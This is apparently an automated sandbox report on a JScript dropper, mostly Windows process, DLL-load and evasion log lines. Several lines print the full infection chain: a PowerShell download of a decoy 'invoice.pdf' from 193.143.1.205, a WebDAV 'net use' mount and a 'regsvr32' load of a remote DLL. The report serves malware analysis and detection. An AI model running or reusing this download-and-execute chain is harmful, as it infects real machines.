Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8021.js.csv");ITextStream.WriteLine(" entry:7740 f:yluzlivnr");ITextStream.WriteLine(" exec:2 f:yluzlivnr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49861

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4115			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5768			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6148	Thread sleep count: 4115 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4452	Thread sleep count: 5768 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1028	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4684	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5372	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: net.exe, 00000008.00000002.1714474587.0000021026F27000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1714474587.0000021026EC8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2865846640.000002A2AEC54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2864584595.000002A2A962B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
